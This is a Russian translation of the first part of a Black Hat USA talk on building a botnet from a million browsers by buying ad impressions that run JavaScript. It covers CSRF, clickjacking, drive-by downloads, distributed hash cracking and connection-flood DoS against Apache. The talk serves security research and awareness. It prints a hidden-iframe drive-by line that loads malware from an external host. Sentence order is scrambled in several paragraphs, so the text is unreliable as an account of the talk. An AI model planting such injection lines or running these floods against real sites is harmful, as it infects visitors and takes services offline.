Хабрахабр

[Перевод] Конференция BLACK HAT USA. Ботнет из миллиона браузеров. Часть 1

фальшивые межсайтовые запросы;распознавание логина Login Detection;деанонимизация;
взлом внутренней сети Интранет;
автоматический межсайтовый скриптинг;
традиционное вредоносное ПО, попадающее на компьютер пользователя при загрузке по методу Drive-by-Download;
взлом хэша методом брутфорс;
атаки DDoS на уровне приложений.

Это скриншот с сайта CNN. На этом слайде вы видите образец Browser Interrogation – это просто JavaScript, который остается в браузере, когда вы переходите на другой сайт. Они делают это, потому что хотят знать, кто посетил их сайт. Когда вы заходите на их сайт, к вашему браузеру подключается имеющаяся там метрика, которая совершает полный опрос и получает целую кучу информации о вашем просмотре: что у вас за браузер, какая версия, какие плагины подключены, какая у вас ОС. В наше время это весьма распространённая технология.

Здесь не требуется много усилий, не нужно запускать вредоносный скрипт, просто ваш браузер с JavaScript или HTML используется для взлома любого другого сайта. Дальше рассмотрим более продвинутую технологию — подделку межсайтовых запросов JavaScript. CSRF использует вашу историю поиска в Google и принуждает ваш браузер загружать или выгружать нелегальный контент, инициировать банковский перевод, если вы вошли в свой личный кабинет на сайте банка, он заставит отправить оскорбительные сообщения или голосовать за Эда Сноудена как за Человека года.

Мэтт Йохансон: CSRF может принудить вас не только скачать хиты Джастина Бибера, но и скачать детское порно.

Джереми Гроссман: итак, первая строка на слайде принуждает ваш браузер совершить инъекцию вредоносного содержимого в любой другой сайт, то есть может сделать из вас хакера, вторая заставит скачать торрент и сделает вас пиратом, нарушающим все виды лицензий DMCA, третья отправит в фан–клуб Джастина Бибера, четвёртая – проголосовать на каком-то сайте.

Мы можем узнать, что вы зашли в свой аккаунт в Google, Facebook, Twitter, Linkedin. Далее следует распознавание логина Login Detection — это когда вы заходите на сайт, который мы контролируем. Мы изучаем ваши предпочтения и осуществляем целенаправленную атаку на конкретного пользователя. Существует 6 различных технологий, позволяющих извлечь данные авторизации из вашего браузера.

Допустим, вы вошли в Twitter или Facebook и лайкнули изображение танцующей кошечки. Ещё одна атака – это кликджекинг, она позволяет раскрыть ваши данные, как только вы щелкните по какой-нибудь картинке или кнопке. Всего один клик — и мы знаем ваше имя, местоположение, знаем данные, которые вы разместили в своём профиле на Twitter или LinkedIn. Вы нажимаете на что-то безобидное, но в действительности вы жмёте на одну из таких кнопок и раскрываете свои данные.

Мэтт Йохансон: некоторые компании занимаются таким отслеживанием, так как ваше полное имя может представлять для них большую ценность для целевой рекламы своего товара или услуг.

Вам также известен взлом внутренней сети Интранет путём внедрения вредоносного JavaScript через HTTP в ваш DSL-маршрутизатор, обеспечивающий соединение с сетью. Джереми Гроссман: пока что мы прошлись по хорошо известным вещам, по крайней мере, хорошо известным аудитории «Чёрной шляпы».

Далее у нас имеется вид атаки «автоматический межсайтовый скриптинг», когда при помощи iframe выполняется инъекция вредоносного XSS кода, что позволяет красть ваши кукиз, сохранённые пароли и так далее. Впервые это было обнаружено в 2006 году и до сих пор данная уязвимость не устранена. В основном это осуществляется через портал провайдера электронной почты.

Наконец, можно загрузить традиционное вредоносное ПО методом Drive-by-Downloads с помощью инъекции вот такой строки:

<iframe src="http: //lotmachinesguide .cn/ in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe>

В результате чего ваш браузер отправляется на зараженные сайты для закачки вредоносного контента, который затем контролирует ваш компьютер. Здесь объектом атаки может быть сам браузер или его расширения, в основном эти атаки используются для создания сети ботнет, и чтобы избежать этой угрозы, нужно вовремя ставить патчи, а лучше вообще удалить Java. Коротко это те методы атак, на которых мы собираемся сосредоточится в данном выступлении.

Я бы хотел рассказать о другом исследовании, которое было посвящено распределенным вычислениям с использованием JavaScript для взлома паролей. Мэтт Йохансон: Джереми рассказал о вещах, о которых уже упоминалось на прошлых конференциях BlackHat. Исследования Лавакумара Куппана свидетельствуют о том, что с помощью придуманной им метрики можно на самом деле взломать или попытаться взломать сто тысяч MD5 хэшей в секунду, используя JavaScript, если вы сможете распространить этот JavaScript. Это крутая вещь, потому что её можно просто написать и она действует очень и очень быстро.

На следующем слайде показан принцип работы системы распределённых вычислений Ravan, основанной на JavaScript, которая может атаковать хэши через несколько браузеров с помощью атаки типа брутфорс.

Она находит пароль пользователя, совпадающий с определённым хэшем, перебирая от 60 до 70 тысяч паролей в секунду, для этого используется 12 WebWorkers. Она использует HTML5 для запуска JavaScript в фоновом режиме WebWorkers, включая в единую сеть перебора паролей множество компьютеров, на которых открыт браузер.

Кроме этого вопроса, мы серьёзно в течение нескольких месяцев занимались исследованиями приложений, вызывающих отказ сервиса (DoS). Это очень быстрая вещь, позже мы остановимся на том, как она распространяется. Во время исследований было обнаружено, что с одного браузера может быть оправлено около 10 000 запросов в минуту. Браузер может отправлять удивительно большое количество запросов GET к удаленному сайту, используя COR от WebWorkers. Можно использовать как один браузер, так и несколько браузеров, нацеленных на один сайт. При этом браузер не держит открытыми много TCP-соединений, он просто синхронно запускает много HTTP-запросов. Но вы в любой момент можете увеличить интенсивность атаки, увеличив число соединений.

Джереми Гроссман: я расскажу об ограничениях браузера на соединения.

Все браузеры поддерживают не более 6 соединений с одним именем хоста, а максимальное число соединений, например, в IE версии 8 и 9 достигает 35. Инструмент под названием Browserscope показывает, сколько соединений одновременно может поддерживать определённый браузер или определённая версия браузера. Каждый браузер имеет предел количества соединений не для безопасности, а для стабильности и производительности, потому что вы заходите на сайт, посылаете запрос, и ваш браузер начинает скачивать контент.

На следующем слайде показана работа Browserscope, который тестирует производительность различных браузеров, создавая множество одновременных соединений с сервером. Мы проверяли эти показатели и можем сказать, что большинство браузеров действительно обеспечивают работу с 6, максимум с 7 соединениями. В данном случае для Firefox было шесть устойчивых соединений.

На следующем слайде показан скрипт Apache Killer, который помог обойти ограничение браузера, создать целый поток одновременных запросов к серверу и увеличить число одновременно открытых соединений с 6 до 300. Однако некоторые браузеры позволяют обойти это ограничение, и в своих испытаниях мы использовали Firefox для того, чтобы вызвать отказ сервиса.

Здесь был использован протокол HTTP, но если использовать FTP через 80 порт, то число соединений возрастает до 400, и это действительно способно «убить» Apache – сервер.

Поэтому мы не смогли проверить множество позиций из верхней части списка и не смогли выполнить много CSR приложений. Мэтт Йохансон: здесь важным отличием является то, что мы проделали это с помощью FTP, который не может использовать протокол HTTP. Это просто соединения, которые мы попытались одновременно открыть, поэтому это не совсем традиционная DoS атака, когда злоумышленник пытается запустить как можно больше мегабит или гигабит в секунду или в час, это просто разрешённое количество одновременно открытых соединений.

4. Джереми Гроссман: сейчас я запущу на своём ноутбуке Apache–сервер, это простая «ванильная» версия Apache 2. 4, где все основные настройки установлены по умолчанию и не могут оказать какого-то существенного влияния.

Мы собираемся сосредоточиться на первом цикле, я собираюсь установить здесь целую кучу запросов картинок на сервер, вы видите, как отсылаются запросы, и сервер не отвечает в течении 3-х секунд, а затем картинки начинают подгружаться сериями.

Мы, возможно, сможем злоупотребить этим в ущерб безопасности, вы увидите это через несколько минут. Мэтт Йохансон: это аспект производительности браузера, а не аспект безопасности. Но смысл данного действия состоит в том, чтобы загрузить одновременно все эти изображения.

Это очень важно, так как сейчас мы пытаемся сломать верхнюю границу соединений в этом конкретном браузере. Джереми Гроссман: я забыл упомянуть о статусе сервера, на левом нижнем экране вы видите, что статус показывает 7 одновременно открытых соединений, одно для окна браузера, а остальные 6 – для 6 загружаемых изображений. Сейчас я установлю значение соединений на 0, чтобы убить эти соединения, и покажу способ обхода ограничений в Firefox.

Им всем не нужен URL, потому что это FTP, он не отправляет HTTP. Мы просто зацикливаем это до 100 соединений с использованием FTP для одного и того же имени хоста. Теперь давайте перейдём к 400 соединениям. Посмотрите в левый нижний угол – статус сервера изменился, он показывает 100 соединений, 100 страниц для просмотра.

Всё, что мы делаем, это загружаем этот код на веб-страницу, и Apache пытается довести число одновременно открытых соединений до 300. Страница обновляется каждую секунду, и когда число соединений доходит до 270, сервер охватывает «паника», что он не успевает обслужить больше запросов. И всё это мы проделываем с помощью одного единственного браузера.

Я не хочу убивать её DoS атакой прямо сейчас, поэтому предложил вам другой вариант демонстрации.
Мэтт Йохансон: теперь мы знаем, что можем сделать, по крайней мере, с помощью Firefox. Сзади на фоне вы видите ещё одну прокрутку, у нас есть еще одна система на Amazon, это cиcтема AWS. У нас есть ещё еще несколько возможностей, но в целом преимущества взлома при таком методе атаки состоят в следующем: Это не традиционная атака «отказ сервиса» и здесь не используется ботнет.

  • не нужно никакого вредоносного ПО, никаких эксплойтов или атак «нулевого дня»;
  • никаких следов, никакой тревоги, запрет кэширования браузера;
  • по умолчанию любой браузер уязвим для этой атаки;
  • очень легко осуществить, вы сами видели, насколько просто выглядит код;
  • как мы говорим – это работает так, как оно должно работать. Сеть интернет потенциально рассчитана на функционирование именно таким образом, то есть она должна обеспечивать загрузку множества изображений так быстро, как это только возможно.

Поэтому я не знаю, кто сможет устранить эту проблему. Давайте сосредоточим внимание на вопросе распространения этого способа атаки с использованием вредоносного кода JavaScript. Мы не будем рассматривать классические способы, которыми пользуются спамеры, типа рассылки электронных писем. Рассмотрим распространение обычным пользователем, то есть масштабирование с точки зрения обычного юзера:

  • использование сайтов со значительным трафиком, которыми вы владеете (блог, программное обеспечение и т.д.);
  • HTML инъекции в популярные сайты, форумы и т.д;
  • cпособ «человек посередине» через Wi-Fi роутер;
  • «отравление» поисковых движков;
  • взлом сайтов путём массовой инъекции SQL-червей;
  • виджеты третьих сторон (погодные, счётчики, трекеры и т.д.).

Дуглас Крокфорд сказал: «Самый надежный и самый рентабельный метод внедрить вредоносный код — это купить рекламу». Поэтому рассмотрим, как работают рекламные сети, потому что в интернете их предостаточно. На следующем слайде изображена своеобразная экосистема рекламы.

Они тратят на это деньги, но им нужны сайты, для того, чтобы довести свой товар до конечного потребителя. Итак, вверху вы видите, что рекламщики в первую очередь должны вам показать что-то, например, букет цветов для свидания. Между рекламщиками и издателями существует мост, который называется «рекламные сети» — Advertising Networks. Они хотят держать в своих руках массовых распространителей — издателей информации, такой как блоги, новости, социальные сети, обзоры, популярные сайты, которые посещают много пользователей. Вы – это маленькие синие фигурки внизу слайда. Они тратят деньги на то, чтобы размещать свою информацию в этих сетях, это могут быть изображения, всплывающие баннеры, JavaScript – всё что угодно, чтобы вы это увидели.

Мэтт Йохансон: сегодня утром мы зашли на сайт TMZ и сделали там этот потрясающий скриншот.

Вы видите рекламный блок в самом верху страницы и внизу справа.

Существуют десятки и сотни таких рекламных сетей, но учтите, что изображение логотипа нашей компании в правом верхнем углу слайда не является рекламной сетью! Джереми Гроссман: все рекламные блоки, которые вы видите – это код JavaScript, расположенный прямо перед пользователями сайта TMZ и служащий привлечению их внимания с целью заработать немного денег. Некоторые из этих сетей используют JavaScript, некоторые нет.

Один из парней ответил мне очень быстро, буквально через пару минут. Так вот, я написал владельцам одной рекламной сети письмо про то, что хотел бы разместить рекламный JavaScript третьей стороны в их системе. И если я работаю с такими крупными рекламными серверами третьих особ, как DFA и им подобные, то они найдут возможность разместить мой JavaScript. Он написал, что они разрешают размещение такого кода только от крупных и известных компаний, таких как DoubleClick, которым они доверяют и которые сканируют на своей стороне все материалы на предмет наличия потенциальных уязвимостей.

Существует и другой тип сетей, с которыми мы столкнулись. Так ведут себя все традиционные рекламные сети – вы платите им деньги, получаете несколько метрик и они размещают вашу рекламу. Мы намеренно не даем вам их названия, потому что не знаем, будут ли у нас из-за этого неприятности.

Получается, что вы покупаете время браузера за копейки – в данном случае 10 тысяч минут просмотра можно купить за примерно за $10,5. Данные системы работают таким образом – вы платите немного денег за то, чтобы кто-то, сидя вечером дома перед компьютером, просматривал вашу страницу через свой браузер определённое количество времени.

Потому что злоумышленнику требуется много времени на взлом пароля или логина методом брутфорс, а данные рекламные сети не гарантируют, что ваш браузер будет просматривать именно рекламу, а не подхватит вредоносный код, который запустится, как только рекламное объявление загрузится на страницу. Мэтт Йохансон: важным обстоятельством является то, что данный метод платных просмотров широко используется для взлома пароля. Вы платите за это, но если человек сидит там минуту, 10 минут, 2 секунды, нет гарантий, что вы не платите за то, что вас могут использовать для DoS-атаки.

Так что это хорошая метрика! Джереми Гроссман: обратите внимание на последнюю строчку – вы можете купить миллион минут просмотра, это почти 2 года времени браузера, примерно за $650.

Вернемся к повестке дня и сосредоточимся на двух последних видах атак — взлом хэша методом брутфорс и атаки DDoS на уровне приложений. Теперь интернет работает на рекламе, и стоит это гроши. Мы собираемся показать вам пару демонстраций, но сначала давайте поговорим об экономике. Вы видите, что их легко масштабировать на миллионе браузером или просто заплатить 650 долларов и запустить взлом пароля на время, эквивалентное двум годам.

Рекламщики называют это «впечатлениями», но речь идёт о платных услугах показа рекламы на конкретных страницах. Мэтт Йохансон: вы видели этот скриншот покупки минут, но в рекламных сетях имеется свой собственный язык, выучить который мне было нелегко. Существуют ценники «стоимость одного клика» CPC и «стоимость тысячи» CPM. Последние несколько месяцев цена держится в пределах 50 центов за 1000 «впечатлений», или за тысячу показов рекламы.

Итак, они называют это «впечатлением», а мы зовём это «ботом». Поэтому когда я говорю «впечатление», вы должны представлять себе браузер как бота, как будто бы вы наняли одного человека для того, чтобы загрузить свою рекламу в браузер и получить контроль над этим браузером в данный момент.

Джереми Гроссман: не существует никаких препятствий для того, чтобы плохие парни, настоящие плохие парни, крадущие кредитные карты, не смогли бы использовать эти украденные карты для покупки рекламных минут или «впечатлений».

Мэтт Йохансон: на следующем скриншоте вы видите статистику по рекламной сети, которую мы использовали в своих исследованиях.

Мы не показывали никаких объявлений, просто пустышки, и не запускали наш код JavaScript. Мы чувствовали себя как перед приборной панелью, кликая кнопки и пытаясь сделать так, чтобы наши объявления отображались в этой сети. За несколько месяцев нашего исследования мы не потратили даже 10 баксов. Мы просто попробовали себя в роли рекламодателей и старались оставаться настолько незаметными для пользователя и владельцев рекламной сети, насколько это было возможно, чтобы они просто позволили нам применить наши мирные хакерские способы, командуя нашими собственными веб-серверами.

Вы можете установить ежедневные лимиты на все виды рекламных вещей, можете выбрать конкретные ключевые слова, на которых должны фокусироваться пользователи, выбрать геолокацию аудитории, операционные системы или браузеры, которые буду показывать ваше рекламное объявление, можете сосредоточить рекламу на мобильных или стационарных устройствах пользователей.

В первый день мы купили всего 15 кликов, это стоило нам $4, в результате мы получили или 8326 «впечатлений». Я просто выбрал как можно более широкий охват аудитории, а в качестве ключевого слова выбрал слово «компьютеры». Представьте себе, что благодаря такой выгодной инвестиции ваш код мог бы быть загружен в 8326 браузеров на протяжении 24 часового периода!

Ботнет из миллиона браузеров. Конференция BLACK HAT USA. Часть 2

Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас оформив заказ или порекомендовав знакомым, 30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас: Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер? (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).

VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps до декабря бесплатно при оплате на срок от полугода, заказать можно тут.

класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки? Dell R730xd в 2 раза дешевле? Только у нас 2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249 в Нидерландах и США! Читайте о том Как построить инфраструктуру корп.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть